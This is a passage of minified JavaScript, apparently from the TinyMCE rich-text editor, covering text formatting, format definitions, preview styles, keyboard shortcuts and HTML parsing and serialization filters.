void(a=0)}!m||r||!wc.isValid(g,l,t)||!wc.isValid(g,n,l)||!c&&3===e.nodeType&&1===e.nodeValue.length&&65279===e.nodeValue.charCodeAt(0)||Ju(e)||y.inline&&s.isBlock(e)?(a=0,Ly(Xt.grep(e.childNodes),u),r&&(m=o),a=0):(a||(a=s.clone(f,!1),e.parentNode.insertBefore(a,e),d.push(a)),a.appendChild(e))}};Ly(e,u)}),!0===y.links&&Ly(d,function(e){var t=function(e){"A"===e.nodeName&&b(e,y),Ly(Xt.grep(e.childNodes),t)};t(e)}),Ly(d,function(e){var t,n,r,o,i,a=function(e){var n=!1;return Ly(e.childNodes,function(e){if((t=e)&&1===t.nodeType&&!yc(t)&&!Ju(t)&&!jo.isBogus(t))return n=e,!1;var t}),n};n=0,Ly(e.childNodes,function(e){wc.isWhiteSpaceNode(e)||yc(e)||n++}),t=n,!(1<d.length)&&s.isBlock(e)||0!==t?(y.inline||y.wrapper)&&(y.exact||1!==t||((o=a(r=e))&&!yc(o)&&Mm.matchName(s,o,y)&&(i=s.clone(o,!1),b(i),s.replace(i,r,!0),s.remove(o,1)),e=i||r),Ry(g,v,h,e),Iy(g,y,p,h,e),Oy(s,y,h,e),By(s,y,h,e),Py(s,y,h,e)):s.remove(e,1)})};if("false"!==i.getContentEditable(n.getNode())){if(y){if(r)r.nodeType?C(v,r)||((t=i.createRng()).setStartBefore(r),t.setEndAfter(r),a(i,Pc(g,t,v),0,!0)):a(i,r,0,!0);else if(o&&y.inline&&!i.select("td[data-mce-selected],th[data-mce-selected]").length)!function(e,t,n){var r,o,i,a,u,s,c=e.selection;a=(r=c.getRng(!0)).startOffset,s=r.startContainer.nodeValue,(o=Qu(e.getBody(),c.getStart()))&&(i=qm(o));var l,f,d=/[^\s\u00a0\u00ad\u200b\ufeff]/;s&&0<a&&a<s.length&&d.test(s.charAt(a))&&d.test(s.charAt(a-1))?(u=c.getBookmark(),r.collapse(!0),r=Pc(e,r,e.formatter.get(t)),r=Um(r),e.formatter.apply(t,n,r),c.moveToBookmark(u)):(o&&i.nodeValue===jm||(l=e.getDoc(),f=$m(!0).dom(),i=(o=l.importNode(f,!0)).firstChild,r.insertNode(o),a=1),e.formatter.apply(t,n,o),c.setCursorLocation(i,a))}(g,p,h);else{var u=g.selection.getNode();g.settings.forced_root_block||!v[0].defaultBlock||i.getParent(u,i.isBlock)||Fy(g,v[0].defaultBlock),g.selection.setRng(cl(g.selection.getRng())),e=Yu.getPersistentBookmark(g.selection,!0),a(i,Pc(g,n.getRng(),v)),y.styles&&Dy(i,y,h,u),n.moveToBookmark(e),wc.moveStart(i,n,n.getRng()),g.nodeChanged()}cy(p,g)}}else{r=n.getNode();for(var s=0,c=v.length;s<c;s++)if(v[s].ceFalseOverride&&i.is(r,v[s].selector))return void b(r,v[s])}},My={applyFormat:Fy},zy=Xt.each,Uy=function(e,t,n,r,o){var i,a,u,s,c,l,f,d;null===t.get()&&(a=e,u={},(i=t).set({}),a.on("NodeChange",function(n){var r=wc.getParents(a.dom,n.element),o={};r=Xt.grep(r,function(e){return 1===e.nodeType&&!e.getAttribute("data-mce-bogus")}),zy(i.get(),function(e,n){zy(r,function(t){return a.formatter.matchNode(t,n,{},e.similar)?(u[n]||(zy(e,function(e){e(!0,{node:t,format:n,parents:r})}),u[n]=e),o[n]=e,!1):!Mm.matchesUnInheritedFormatSelector(a,t,n)&&void 0})}),zy(u,function(e,t){o[t]||(delete u[t],zy(e,function(e){e(!1,{node:n.element,format:t,parents:r})}))})})),c=n,l=r,f=o,d=(s=t).get(),zy(c.split(","),function(e){d[e]||(d[e]=[],d[e].similar=f),d[e].push(l)}),s.set(d)},jy={get:function(r){var t={valigntop:[{selector:"td,th",styles:{verticalAlign:"top"}}],valignmiddle:[{selector:"td,th",styles:{verticalAlign:"middle"}}],valignbottom:[{selector:"td,th",styles:{verticalAlign:"bottom"}}],alignleft:[{selector:"figure.image",collapsed:!1,classes:"align-left",ceFalseOverride:!0,preview:"font-family font-size"},{selector:"figure,p,h1,h2,h3,h4,h5,h6,td,th,tr,div,ul,ol,li",styles:{textAlign:"left"},inherit:!1,preview:!1,defaultBlock:"div"},{selector:"img,table",collapsed:!1,styles:{"float":"left"},preview:"font-family font-size"}],aligncenter:[{selector:"figure,p,h1,h2,h3,h4,h5,h6,td,th,tr,div,ul,ol,li",styles:{textAlign:"center"},inherit:!1,preview:"font-family font-size",defaultBlock:"div"},{selector:"figure.image",collapsed:!1,classes:"align-center",ceFalseOverride:!0,preview:"font-family font-size"},{selector:"img",collapsed:!1,styles:{display:"block",marginLeft:"auto",marginRight:"auto"},preview:!1},{selector:"table",collapsed:!1,styles:{marginLeft:"auto",marginRight:"auto"},preview:"font-family font-size"}],alignright:[{selector:"figure.image",collapsed:!1,classes:"align-right",ceFalseOverride:!0,preview:"font-family font-size"},{selector:"figure,p,h1,h2,h3,h4,h5,h6,td,th,tr,div,ul,ol,li",styles:{textAlign:"right"},inherit:!1,preview:"font-family font-size",defaultBlock:"div"},{selector:"img,table",collapsed:!1,styles:{"float":"right"},preview:"font-family font-size"}],alignjustify:[{selector:"figure,p,h1,h2,h3,h4,h5,h6,td,th,tr,div,ul,ol,li",styles:{textAlign:"justify"},inherit:!1,defaultBlock:"div",preview:"font-family font-size"}],bold:[{inline:"strong",remove:"all"},{inline:"span",styles:{fontWeight:"bold"}},{inline:"b",remove:"all"}],italic:[{inline:"em",remove:"all"},{inline:"span",styles:{fontStyle:"italic"}},{inline:"i",remove:"all"}],underline:[{inline:"span",styles:{textDecoration:"underline"},exact:!0},{inline:"u",remove:"all"}],strikethrough:[{inline:"span",styles:{textDecoration:"line-through"},exact:!0},{inline:"strike",remove:"all"}],forecolor:{inline:"span",styles:{color:"%value"},links:!0,remove_similar:!0,clear_child_styles:!0},hilitecolor:{inline:"span",styles:{backgroundColor:"%value"},links:!0,remove_similar:!0,clear_child_styles:!0},fontname:{inline:"span",toggle:!1,styles:{fontFamily:"%value"},clear_child_styles:!0},fontsize:{inline:"span",toggle:!1,styles:{fontSize:"%value"},clear_child_styles:!0},fontsize_class:{inline:"span",attributes:{"class":"%value"}},blockquote:{block:"blockquote",wrapper:1,remove:"all"},subscript:{inline:"sub"},superscript:{inline:"sup"},code:{inline:"code"},link:{inline:"a",selector:"a",remove:"all",split:!0,deep:!0,onmatch:function(){return!0},onformat:function(n,e,t){Xt.each(t,function(e,t){r.setAttrib(n,t,e)})}},removeformat:[{selector:"b,strong,em,i,font,u,strike,sub,sup,dfn,code,samp,kbd,var,cite,mark,q,del,ins",remove:"all",split:!0,expand:!1,block_expand:!0,deep:!0},{selector:"span",attributes:["style","class"],remove:"empty",split:!0,expand:!1,deep:!0},{selector:"*",attributes:["style","class"],split:!1,expand:!1,deep:!0}]};return Xt.each("p h1 h2 h3 h4 h5 h6 div address pre div dt dd samp".split(/\s/),function(e){t[e]={block:e,remove:"all"}}),t}},Vy=Xt.each,Hy=Si.DOM,qy=function(e,t){var n,o,r,m=t&&t.schema||di({}),g=function(e){var t,n,r;return o="string"==typeof e?{name:e,classes:[],attrs:{}}:e,t=Hy.create(o.name),n=t,(r=o).classes.length&&Hy.addClass(n,r.classes.join(" ")),Hy.setAttribs(n,r.attrs),t},p=function(n,e,t){var r,o,i,a,u,s,c,l,f=0<e.length&&e[0],d=f&&f.name;if(u=d,s="string"!=typeof(a=n)?a.nodeName.toLowerCase():a,c=m.getElementRule(s),i=!(!(l=c&&c.parentsRequired)||!l.length)&&(u&&-1!==Xt.inArray(l,u)?u:l[0]))d===i?(o=e[0],e=e.slice(1)):o=i;else if(f)o=e[0],e=e.slice(1);else if(!t)return n;return o&&(r=g(o)).appendChild(n),t&&(r||(r=Hy.create("div")).appendChild(n),Xt.each(t,function(e){var t=g(e);r.insertBefore(t,n)})),p(r,e,o&&o.siblings)};return e&&e.length?(o=e[0],n=g(o),(r=Hy.create("div")).appendChild(p(n,e.slice(1),o.siblings)),r):""},$y=function(e){var t,a={classes:[],attrs:{}};return"*"!==(e=a.selector=Xt.trim(e))&&(t=e.replace(/(?:([#\.]|::?)([\w\-]+)|(\[)([^\]]+)\]?)/g,function(e,t,n,r,o){switch(t){case"#":a.attrs.id=n;break;case".":a.classes.push(n);break;case":":-1!==Xt.inArray("checked disabled enabled read-only required".split(" "),n)&&(a.attrs[n]=n)}if("["===r){var i=o.match(/([\w\-]+)(?:\=\"([^\"]+))?/);i&&(a.attrs[i[1]]=i[2])}return""})),a.name=t||"div",a},Wy=function(e){return e&&"string"==typeof e?(e=(e=e.split(/\s*,\s*/)[0]).replace(/\s*(~\+|~|\+|>)\s*/g,"$1"),Xt.map(e.split(/(?:>|\s+(?![^\[\]]+\]))/),function(e){var t=Xt.map(e.split(/(?:~\+|~|\+)/),$y),n=t.pop();return t.length&&(n.siblings=t),n}).reverse()):[]},Ky=function(n,e){var t,r,o,i,a,u,s="";if(!1===(u=n.settings.preview_styles))return"";"string"!=typeof u&&(u="font-family font-size font-weight font-style text-decoration text-transform color background-color border border-radius outline text-shadow");var c=function(e){return e.replace(/%(\w+)/g,"")};if("string"==typeof e){if(!(e=n.formatter.get(e)))return;e=e[0]}return"preview"in e&&!1===(u=e.preview)?"":(t=e.block||e.inline||"span",(i=Wy(e.selector)).length?(i[0].name||(i[0].name=t),t=e.selector,r=qy(i,n)):r=qy([t],n),o=Hy.select(t,r)[0]||r.firstChild,Vy(e.styles,function(e,t){(e=c(e))&&Hy.setStyle(o,t,e)}),Vy(e.attributes,function(e,t){(e=c(e))&&Hy.setAttrib(o,t,e)}),Vy(e.classes,function(e){e=c(e),Hy.hasClass(o,e)||Hy.addClass(o,e)}),n.fire("PreviewFormats"),Hy.setStyles(r,{position:"absolute",left:-65535}),n.getBody().appendChild(r),a=Hy.getStyle(n.getBody(),"fontSize",!0),a=/px$/.test(a)?parseInt(a,10):0,Vy(u.split(" "),function(e){var t=Hy.getStyle(o,e,!0);if(!("background-color"===e&&/transparent|rgba\s*\([^)]+,\s*0\)/.test(t)&&(t=Hy.getStyle(n.getBody(),e,!0),"#ffffff"===Hy.toHex(t).toLowerCase())||"color"===e&&"#000000"===Hy.toHex(t).toLowerCase())){if("font-size"===e&&/em|%$/.test(t)){if(0===a)return;t=parseFloat(t)/(/%$/.test(t)?100:1)*a+"px"}"border"===e&&t&&(s+="padding:0 2px;"),s+=e+":"+t+";"}}),n.fire("AfterPreviewFormats"),Hy.remove(r),s)},Xy=function(e,t,n,r,o){var i=t.get(n);!Mm.match(e,n,r,o)||"toggle"in i[0]&&!i[0].toggle?My.applyFormat(e,n,r,o):Cy(e,n,r,o)},Yy=function(e){e.addShortcut("meta+b","","Bold"),e.addShortcut("meta+i","","Italic"),e.addShortcut("meta+u","","Underline");for(var t=1;t<=6;t++)e.addShortcut("access+"+t,"",["FormatBlock",!1,"h"+t]);e.addShortcut("access+7","",["FormatBlock",!1,"p"]),e.addShortcut("access+8","",["FormatBlock",!1,"div"]),e.addShortcut("access+9","",["FormatBlock",!1,"address"])};function Gy(e){var t,n,r,o=(t=e,n={},(r=function(e,t){e&&("string"!=typeof e?Xt.each(e,function(e,t){r(t,e)}):(t=t.length?t:[t],Xt.each(t,function(e){"undefined"==typeof e.deep&&(e.deep=!e.selector),"undefined"==typeof e.split&&(e.split=!e.selector||e.inline),"undefined"==typeof e.remove&&e.selector&&!e.inline&&(e.remove="none"),e.selector&&e.inline&&(e.mixed=!0,e.block_expand=!0),"string"==typeof e.classes&&(e.classes=e.classes.split(/\s+/))}),n[e]=t))})(jy.get(t.dom)),r(t.settings.formats),{get:function(e){return e?n[e]:n},register:r,unregister:function(e){return e&&n[e]&&delete n[e],n}}),i=Hi(null);return Yy(e),Jm(e),{get:o.get,register:o.register,unregister:o.unregister,apply:d(My.applyFormat,e),remove:d(Cy,e),toggle:d(Xy,e,o),match:d(Mm.match,e),matchAll:d(Mm.matchAll,e),matchNode:d(Mm.matchNode,e),canApply:d(Mm.canApply,e),formatChanged:d(Uy,e,i),getCssText:d(Ky,e)}}var Jy,Qy=Object.prototype.hasOwnProperty,Zy=(Jy=function(e,t){return t},function(){for(var e=new Array(arguments.length),t=0;t<e.length;t++)e[t]=arguments[t];if(0===e.length)throw new Error("Can't merge zero objects");for(var n={},r=0;r<e.length;r++){var o=e[r];for(var i in o)Qy.call(o,i)&&(n[i]=Jy(n[i],o[i]))}return n}),eb={register:function(t,s,c){t.addAttributeFilter("data-mce-tabindex",function(e,t){for(var n,r=e.length;r--;)(n=e[r]).attr("tabindex",n.attributes.map["data-mce-tabindex"]),n.attr(t,null)}),t.addAttributeFilter("src,href,style",function(e,t){for(var n,r,o=e.length,i="data-mce-"+t,a=s.url_converter,u=s.url_converter_scope;o--;)(r=(n=e[o]).attributes.map[i])!==undefined?(n.attr(t,0<r.length?r:null),n.attr(i,null)):(r=n.attributes.map[t],"style"===t?r=c.serializeStyle(c.parseStyle(r),n.name):a&&(r=a.call(u,r,t,n.name)),n.attr(t,0<r.length?r:null))}),t.addAttributeFilter("class",function(e){for(var t,n,r=e.length;r--;)(n=(t=e[r]).attr("class"))&&(n=t.attr("class").replace(/(?:^|\s)mce-item-\w+(?!\S)/g,""),t.attr("class",0<n.length?n:null))}),t.addAttributeFilter("data-mce-type",function(e,t,n){for(var r,o=e.length;o--;)"bookmark"!==(r=e[o]).attributes.map["data-mce-type"]||n.cleanup||(_.from(r.firstChild).exists(function(e){return!Ca(e.value)})?r.unwrap():r.remove())}),t.addNodeFilter("noscript",function(e){for(var t,n=e.length;n--;)(t=e[n].firstChild)&&(t.value=ti.decode(t.value))}),t.addNodeFilter("script,style",function(e,t){for(var n,r,o,i=e.length,a=function(e){return e.replace(/(<!--\[CDATA\[|\]\]-->)/g,"\n").replace(/^[\r\n]*|[\r\n]*$/g,"").replace(/^\s*((<!--)?(\s*\/\/)?\s*<!\[CDATA\[|(<!--\s*)?\/\*\s*<!\[CDATA\[\s*\*\/|(\/\/)?\s*<!--|\/\*\s*<!--\s*\*\/)\s*[\r\n]*/gi,"").replace(/\s*(\/\*\s*\]\]>\s*\*\/(-->)?|\s*\/\/\s*\]\]>(-->)?|\/\/\s*(-->)?|\]\]>|\/\*\s*-->\s*\*\/|\s*-->\s*)\s*$/g,"")};i--;)r=(n=e[i]).firstChild?n.firstChild.value:"","script"===t?((o=n.attr("type"))&&n.attr("type","mce-no/type"===o?null:o.replace(/^mce\-/,"")),"xhtml"===s.element_format&&0<r.length&&(n.firstChild.value="// <![CDATA[\n"+a(r)+"\n// ]]>")):"xhtml"===s.element_format&&0<r.length&&(n.firstChild.value="\x3c!--\n"+a(r)+"\n--\x3e")}),t.addNodeFilter("#comment",function(e){for(var t,n=e.length;n--;)0===(t=e[n]).value.indexOf("[CDATA[")?(t.name="#cdata",t.type=4,t.value=t.value.replace(/^\[CDATA\[|\]\]$/g,"")):0===t.value.indexOf("mce:protected ")&&(t.name="#text",t.type=3,t.raw=!0,t.value=unescape(t.value).substr(14))}),t.addNodeFilter("xml:namespace,input",function(e,t){for(var n,r=e.length;r--;)7===(n=e[r]).type?n.remove():1===n.type&&("input"!==t||"type"in n.attributes.map||n.attr("type","text"))}),t.addAttributeFilter("data-mce-type",function(e){z(e,function(e){"format-caret"===e.attr("data-mce-type")&&(e.isEmpty(t.schema.getNonEmptyElements())?e.remove():e.unwrap())})}),t.addAttributeFilter("data-mce-src,data-mce-href,data-mce-style,data-mce-selected,data-mce-expando,data-mce-type,data-mce-resize",function(e,t){for(var n=e.length;n--;)e[n].attr(t,null)})},trimTrailingBr:function(e){var t,n,r=function(e){return e&&"br"===e.name};r(t=e.lastChild)&&r(n=t.prev)&&(t.remove(),n.remove())}},tb={process:function(e,t,n){return f=n,(l=e)&&l.hasEventListeners("PreProcess")&&!f.no_events?(o=t,i=n,c=(r=e).dom,o=o.cloneNode(!0),(a=V.document.implementation).createHTMLDocument&&(u=a.createHTMLDocument(""),Xt.each("BODY"===o.nodeName?o.childNodes:[o],function(e){u.body.appendChild(u.importNode(e,!0))}),o="BODY"!==o.nodeName?u.body.firstChild:u.body,s=c.doc,c.doc=u),xp(r,Zy(i,{node:o})),s&&(c.doc=s),o):t;var r,o,i,a,u,s,c,l,f}},nb=function(e,a,u){e.addNodeFilter("font",function(e){z(e,function(e){var t,n=a.parse(e.attr("style")),r=e.attr("color"),o=e.attr("face"),i=e.attr("size");r&&(n.color=r),o&&(n["font-family"]=o),i&&(n["font-size"]=u[parseInt(e.attr("size"),10)-1]),e.name="span",e.attr("style",a.serialize(n)),t=e,z(["color","face","size"],function(e){t.attr(e,null)})})})},rb=function(e,t){var n,r=gi();t.convert_fonts_to_spans&&nb(e,r,Xt.explode(t.font_size_legacy_values)),n=r,e.addNodeFilter("strike",function(e){z(e,function(e){var t=n.parse(e.attr("style"));t["text-decoration"]="line-through",e.name="span",e.attr("style",n.serialize(t))})})},ob={register:function(e,t){t.inline_styles&&rb(e,t)}},ib=/^[ \t\r\n]*$/,ab={"#text":3,"#comment":8,"#cdata":4,"#pi":7,"#doctype":10,"#document-fragment":11},ub=function(e,t,n){var r,o,i=n?"lastChild":"firstChild",a=n?"prev":"next";if(e[i])return e[i];if(e!==t){if(r=e[a])return r;for(o=e.parent;o&&o!==t;o=o.parent)if(r=o[a])return r}},sb=function(){function a(e,t){this.name=e,1===(this.type=t)&&(this.attributes=[],this.attributes.map={})}return a.create=function(e,t){var n,r;if(n=new a(e,ab[e]||1),t)for(r in t)n.attr(r,t[r]);return n},a.prototype.replace=function(e){return e.parent&&e.remove(),this.insert(e,this),this.remove(),this},a.prototype.attr=function(e,t){var n,r;if("string"!=typeof e){for(r in e)this.attr(r,e[r]);return this}if(n=this.attributes){if(t!==undefined){if(null===t){if(e in n.map)for(delete n.map[e],r=n.length;r--;)if(n[r].name===e)return n=n.splice(r,1),this;return this}if(e in n.map){for(r=n.length;r--;)if(n[r].name===e){n[r].value=t;break}}else n.push({name:e,value:t});return n.map[e]=t,this}return n.map[e]}},a.prototype.clone=function(){var e,t,n,r,o,i=new a(this.name,this.type);if(n=this.attributes){for((o=[]).map={},e=0,t=n.length;e<t;e++)"id"!==(r=n[e]).name&&(o[o.length]={name:r.name,value:r.value},o.map[r.name]=r.value);i.attributes=o}return i.value=this.value,i.shortEnded=this.shortEnded,i},a.prototype.wrap=function(e){return this.parent.insert(e,this),e.append(this),this},a.prototype.unwrap=function(){var e,t;for(e=this.firstChild;e;)t=e.next,this.insert(e,this,!0),e=t;this.remove()},a.prototype.remove=function(){var e=this.parent,t=this.next,n=this.prev;return e&&(e.firstChild===this?(e.firstChild=t)&&(t.prev=null):n.next=t,e.lastChild===this?(e.lastChild=n)&&(n.next=null):t.prev=n,this.parent=this.next=this.prev=null),this},a.prototype.append=function(e){var t;return e.parent&&e.remove(),(t=this.lastChild)?((t.next=e).prev=t,this.lastChild=e):this.lastChild=this.firstChild=e,e.parent=this,e},a.prototype.insert=function(e,t,n){var r;return e.parent&&e.remove(),r=t.parent||this,n?(t===r.firstChild?r.firstChild=e:t.prev.next=e,e.prev=t.prev,(e.next=t).prev=e):(t===r.lastChild?r.lastChild=e:t.next.prev=e,e.next=t.next,(e.prev=t).next=e),e.parent=r,e},a.prototype.getAll=function(e){var t,n=[];for(t=this.firstChild;t;t=ub(t,this))t.name===e&&n.push(t);return n},a.prototype.empty=function(){var e,t,n;if(this.firstChild){for(e=[],n=this.firstChild;n;n=ub(n,this))e.push(n);for(t=e.length;t--;)(n=e[t]).parent=n.firstChild=n.lastChild=n.next=n.prev=null}return this.firstChild=this.lastChild=null,this},a.prototype.isEmpty=function(e,t,n){var r,o,i=this.firstChild;if(t=t||{},i)do{if(1===i.type){if(i.attributes.map["data-mce-bogus"])continue;if(e[i.name])return!1;for(r=i.attributes.length;r--;)if("name"===(o=i.attributes[r].name)||0===o.indexOf("data-mce-bookmark"))return!1}if(8===i.type)return!1;if(3===i.type&&!ib.test(i.value))return!1;if(3===i.type&&i.parent&&t[i.parent.name]&&ib.test(i.value))return!1;if(n&&n(i))return!1}while(i=ub(i,this));return!0},a.prototype.walk=function(e){return ub(this,null,e)},a}(),cb=function(e,t,n,r){(e.padd_empty_with_br||t.insert)&&n[r.name]?r.empty().append(new sb("br",1)).shortEnded=!0:r.empty().append(new sb("#text",3)).value="\xa0"},lb=function(e){return fb(e,"#text")&&"\xa0"===e.firstChild.value},fb=function(e,t){return e&&e.firstChild&&e.firstChild===e.lastChild&&e.firstChild.name===t},db=function(r,e,t,n){return n.isEmpty(e,t,function(e){return t=e,(n=r.getElementRule(t.name))&&n.paddEmpty;var t,n})},mb=function(e,t){return e&&(t[e.name]||"br"===e.name)},gb=function(e,p){var h=e.schema;p.remove_trailing_brs&&e.addNodeFilter("br",function(e,t,n){var r,o,i,a,u,s,c,l,f=e.length,d=Xt.extend({},h.getBlockElements()),m=h.getNonEmptyElements(),g=h.getWhiteSpaceElements();for(d.body=1,r=0;r<f;r++)if(i=(o=e[r]).parent,d[o.parent.name]&&o===i.lastChild){for(u=o.prev;u;){if("span"!==(s=u.name)||"bookmark"!==u.attr("data-mce-type")){if("br"!==s)break;if("br"===s){o=null;break}}u=u.prev}o&&(o.remove(),db(h,m,g,i)&&(c=h.getElementRule(i.name))&&(c.removeEmpty?i.remove():c.paddEmpty&&cb(p,n,d,i)))}else{for(a=o;i&&i.firstChild===a&&i.lastChild===a&&!d[(a=i).name];)i=i.parent;a===i&&!0!==p.padd_empty_with_br&&((l=new sb("#text",3)).value="\xa0",o.replace(l))}}),e.addAttributeFilter("href",function(e){var t,n,r,o=e.length;if(!p.allow_unsafe_link_target)for(;o--;)"a"===(t=e[o]).name&&"_blank"===t.attr("target")&&t.attr("rel",(n=t.attr("rel"),r=n?Xt.trim(n):"",/\b(noopener)\b/g.test(r)?r:r.split(" ").filter(function(e){return 0<e.length}).concat(["noopener"]).sort().join(" ")))}),p.allow_html_in_named_anchor||e.addAttributeFilter("id,name",function(e){for(var t,n,r,o,i=e.length;i--;)if("a"===(o=e[i]).name&&o.firstChild&&!o.attr("href"))for(r=o.parent,t=o.lastChild;n=t.prev,r.insert(t,o),t=n;);}),p.fix_list_elements&&e.addNodeFilter("ul,ol",function(e){for(var t,n,r=e.length;r--;)if("ul"===(n=(t=e[r]).parent).name||"ol"===n.name)if(t.prev&&"li"===t.prev.name)t.prev.append(t);else{var o=new sb("li",1);o.attr("style","list-style-type: none"),t.wrap(o)}}),p.validate&&h.getValidClasses()&&e.addAttributeFilter("class",function(e){for(var t,n,r,o,i,a,u,s=e.length,c=h.getValidClasses();s--;){for(n=(t=e[s]).attr("class").split(" "),i="",r=0;r<n.length;r++)o=n[r],u=!1,(a=c["*"])&&a[o]&&(u=!0),a=c[t.name],!u&&a&&a[o]&&(u=!0),u&&(i&&(i+=" "),i+=o);i.length||(i=null),t.attr("class",i)}})},pb=Xt.makeMap,hb=Xt.each,vb=Xt.explode,yb=Xt.extend;function bb(T,k){void 0===k&&(k=di());var _={},A=[],R={},D={};(T=T||{}).validate=!("validate"in T)||T.validate,T.root_name=T.root_name||"body";var O=function(e){var t,n,r;(n=e.name)in _&&((r=R[n])?r.push(e):R[n]=[e]),t=A.length;for(;t--;)(n=A[t].name)in e.attributes.map&&((r=D[n])?r.push(e):D[n]=[e]);return e},e={schema:k,addAttributeFilter:function(e,n){hb(vb(e),function(e){var t;for(t=0;t<A.length;t++)if(A[t].name===e)return void A[t].callbacks.push(n);A.push({name:e,callbacks:[n]})})},getAttributeFilters:function(){return[].concat(A)},addNodeFilter:function(e,n){hb(vb(e),function(e){var t=_[e];t||(_[e]=t=[]),t.push(n)})},getNodeFilters:function(){var e=[];for(var t in _)_.hasOwnProperty(t)&&e.push({name:t,callbacks:_[t]});return e},filterNode:O,parse:function(e,a){var t,n,r,o,i,u,s,c,l,f,d,m=[];a=a||{},R={},D={},l=yb(pb("script,style,head,html,body,title,meta,param"),k.getBlockElements());var g=k.getNonEmptyElements(),p=k.children,h=T.validate,v="forced_root_block"in a?a.forced_root_block:T.forced_root_block,y=k.getWhiteSpaceElements(),b=/^[ \t\r\n]+/,C=/[ \t\r\n]+$/,x=/[ \t\r\n]+/g,w=/^[ \t\r\n]+$/;f=y.hasOwnProperty(a.context)||y.hasOwnProperty(T.root_name);var N=function(e,t){var n,r=new sb(e,t);return e in _&&((n=R[e])?n.push(r):R[e]=[r]),r},E=function(e){var t,n,r,o,i=k.getBlockElements();for(t=e.prev;t&&3===t.type;){if(0<(r=t.value.replace(C,"")).length)return void(t.value=r);if(n=t.next){if(3===n.type&&n.value.length){t=t.prev;continue}if(!i[n.name]&&"script"!==n.name&&"style"!==n.name){t=t.prev;continue}}o=t.prev,t.remove(),t=o}};t=Mv({validate:h,allow_script_urls:T.allow_script_urls,allow_conditional_comments:T.allow_conditional_comments,self_closing_elements:function(e){var t,n={};for(t in e)"li"!==t&&"p"!==t&&(n[t]=e[t]);return n}(k.getSelfClosingElements()),cdata:function(e){d.append(N("#cdata",4)).value=e},text:function(e,t){var n;f||(e=e.replace(x," "),mb(d.lastChild,l)&&(e=e.replace(b,""))),0!==e.length&&((n=N("#text",3)).raw=!!t,d.append(n).value=e)},comment:function(e){d.append(N("#comment",8)).value=e},pi:function(e,t){d.append(N(e,7)).value=t,E(d)},doctype:function(e){d.append(N("#doctype",10)).value=e,E(d)},start:function(e,t,n){var r,o,i,a,u;if(i=h?k.getElementRule(e):{}){for((r=N(i.outputName||e,1)).attributes=t,r.shortEnded=n,d.append(r),(u=p[d.name])&&p[r.name]&&!u[r.name]&&m.push(r),o=A.length;o--;)(a=A[o].name)in t.map&&((s=D[a])?s.push(r):D[a]=[r]);l[e]&&E(r),n||(d=r),!f&&y[e]&&(f=!0)}},end:function(e){var t,n,r,o,i;if(n=h?k.getElementRule(e):{}){if(l[e]&&!f){if((t=d.firstChild)&&3===t.type)if(0<(r=t.value.replace(b,"")).length)t.value=r,t=t.next;else for(o=t.next,t.remove(),t=o;t&&3===t.type;)r=t.value,o=t.next,(0===r.length||w.test(r))&&(t.remove(),t=o),t=o;if((t=d.lastChild)&&3===t.type)if(0<(r=t.value.replace(C,"")).length)t.value=r,t=t.prev;else for(o=t.prev,t.remove(),t=o;t&&3===t.type;)r=t.value,o=t.prev,(0===r.length||w.test(r))&&(t.remove(),t=o),t=o}if(f&&y[e]&&(f=!1),n.removeEmpty&&db(k,g,y,d)&&!d.attributes.map.name&&!d.attr("id"))return i=d.parent,l[d.name]?d.empty().remove():d.unwrap(),void(d=i);n.paddEmpty&&(lb(d)||db(k,g,y,d))&&cb(T,a,l,d),d=d.parent}}},k);var S=d=new sb(a.context||T.root_name,11);if(t.parse(e),h&&m.length&&(a.context?a.invalid=!0:function(e){var t,n,r,o,i,a,u,s,c,l,f,d,m,g,p,h;for(d=pb("tr,td,th,tbody,thead,tfoot,table"),l=k.getNonEmptyElements(),f=k.getWhiteSpaceElements(),m=k.getTextBlockElements(),g=k.getSpecialElements(),t=0;t<e.length;t++)if((n=e[t]).parent&&!n.fixed)if(m[n.name]&&"li"===n.parent.name){for(p=n.next;p&&m[p.name];)p.name="li",p.fixed=!0,n.parent.insert(p,n.parent),p=p.next;n.unwrap(n)}else{for(o=[n],r=n.parent;r&&!k.isValidChild(r.name,n.name)&&!d[r.name];r=r.parent)o.push(r);if(r&&1<o.length){for(o.reverse(),i=a=O(o[0].clone()),c=0;c<o.length-1;c++){for(k.isValidChild(a.name,o[c].name)?(u=O(o[c].clone()),a.append(u)):u=a,s=o[c].firstChild;s&&s!==o[c+1];)h=s.next,u.append(s),s=h;a=u}db(k,l,f,i)?r.insert(n,o[0],!0):(r.insert(i,o[0],!0),r.insert(n,i)),r=o[0],(db(k,l,f,r)||fb(r,"br"))&&r.empty().remove()}else if(n.parent){if("li"===n.name){if((p=n.prev)&&("ul"===p.name||"ul"===p.name)){p.append(n);continue}if((p=n.next)&&("ul"===p.name||"ul"===p.name)){p.insert(n,p.firstChild,!0);continue}n.wrap(O(new sb("ul",1)));continue}k.isValidChild(n.parent.name,"div")&&k.isValidChild("div",n.name)?n.wrap(O(new sb("div",1))):g[n.name]?n.empty().remove():n.unwrap()}}}(m)),v&&("body"===S.name||a.isRootContent)&&function(){var e,t,n=S.firstChild,r=function(e){e&&((n=e.firstChild)&&3===n.type&&(n.value=n.value.replace(b,"")),(n=e.lastChild)&&3===n.type&&(n.value=n.value.replace(C,"")))};if(k.isValidChild(S.name,v.toLowerCase())){for(;n;)e=n.next,3===n.type||1===n.type&&"p"!==n.name&&!l[n.name]&&!n.attr("data-mce-type")?(t||((t=N(v,1)).attr(T.forced_root_block_attrs),S.insert(t,n)),t.append(n)):(r(t),t=null),n=e;r(t)}}(),!a.invalid){for(c in R){for(s=_[c],i=(n=R[c]).length;i--;)n[i].parent||n.splice(i,1);for(r=0,o=s.length;r<o;r++)s[r](n,c,a)}for(r=0,o=A.length;r<o;r++)if((s=A[r]).name in D){for(i=(n=D[s.name]).length;i--;)n[i].parent||n.splice(i,1);for(i=0,u=s.callbacks.length;i<u;i++)s.callbacks[i](n,s.name,a)}}return S}};return gb(e,T),ob.register(e,T),e}var Cb=function(e,t,n){-1===Xt.inArray(t,n)&&(e.addAttributeFilter(n,function(e,t){for(var n=e.length;n--;)e[n].attr(t,null)}),t.push(n))},xb=function(e,t,n){var r=wa(n.getInner?t.innerHTML:e.getOuterHTML(t));return n.selection||Ao(ar.fromDom(t))?r:Xt.trim(r)},wb=function(e,t,n){var r=n.selection?Zy({forced_root_block:!1},n):n,o=e.parse(t,r);return eb.trimTrailingBr(o),o},Nb=function(e,t,n,r,o){var i,a,u,s,c=(i=r,al(t,n).serialize(i));return 